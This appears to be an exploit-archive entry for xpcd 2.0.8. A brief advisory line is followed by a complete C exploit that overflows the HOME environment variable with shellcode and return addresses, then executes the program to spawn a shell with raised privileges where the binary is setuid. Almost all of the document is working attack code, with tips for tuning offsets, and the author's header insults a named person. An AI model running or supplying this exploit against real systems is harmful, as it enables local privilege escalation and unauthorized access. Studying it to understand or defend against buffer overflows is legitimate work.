XPCD 2.0.8 - 'HOME Environment' Local Buffer Overflow

// source: https://www.securityfocus.com/bid/8370/info

A problem in the handling of long strings in environment variables by xpcd may result in a buffer overflow condition. This may allow an attacker to gain unauthorized access to system resources.

/****************************************************************************
 * xpcd 2.0.8 [latest] exploit written by r-code [Elite FXP Team] *
 * *
 * Actually xpcd usually isn`t suid, therefore for most of you *
 * this exploit will be useless, on the other hand, maybe on some *
 * conditions someone sets +S (who knows... ;-) *
 * *
 * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher *
 * Flames to: ElSiLaSoF - fucking kiddie.. *

****************************************************************************/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


unsigned long int get_sp(void) {
  __asm__("movl %esp,%eax");
}


char shellcode[] =


"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x60\x80\x36"
"\x01\x46\xe2\xfa\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\x83\x10"
"\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x63\xef\xfe\xfe\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2\x8c\x77\x01"
"\x91\x91\x91\x91";



#define LEN 280
#define DEFAULT_OFFSET 530
#define PATH "/usr/local/bin/xpcd"


int main(int argc,char **argv) {
  register int i;
  char *evilstr=0,*str=0,*e=0;
  unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0;

  printf("[=] xpcd0x01 exploit written by r-code d_fence(at)gmx(dot)net
[ELITE FXP TEAM]\n");
  printf("[=] Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik,
Cypher\n");
  printf("[=] Flames to: ElSiLaSoF - fucking kiddie.\n\n");


  if(argc>1)
    offset=atoi(argv[1]);

  retaddr=get_sp() - offset;

  printf("iNFO:) esp: 0x%x offset: 0x%x ret_addr:
0x%x\n",get_sp(),offset,retaddr);
  printf("iNFO:) If Doesn`t work, try with OFFSETS 400 - 600\n\n");

  evilstr=(char *)malloc(LEN);
  e=(char *)malloc(LEN+10);
  ptr=(unsigned long int *)evilstr;

  for(i=0;i<(LEN);) {
    evilstr[i++] = (retaddr & 0x000000ff);
    evilstr[i++] = (retaddr & 0x0000ff00) >> 8;
    evilstr[i++] = (retaddr & 0x00ff0000) >> 16;
    evilstr[i++] = (retaddr & 0xff000000) >> 24;
  }

  memset(evilstr,'A',(LEN/2));

  for(i=0;i<strlen(shellcode);i++)
    evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];

  evilstr[LEN]=0x00;
  memcpy(e,"HOME=",5);
  memcpy(e+5,evilstr,LEN);
  putenv(e);
  execl(PATH,"xpcd",NULL);

}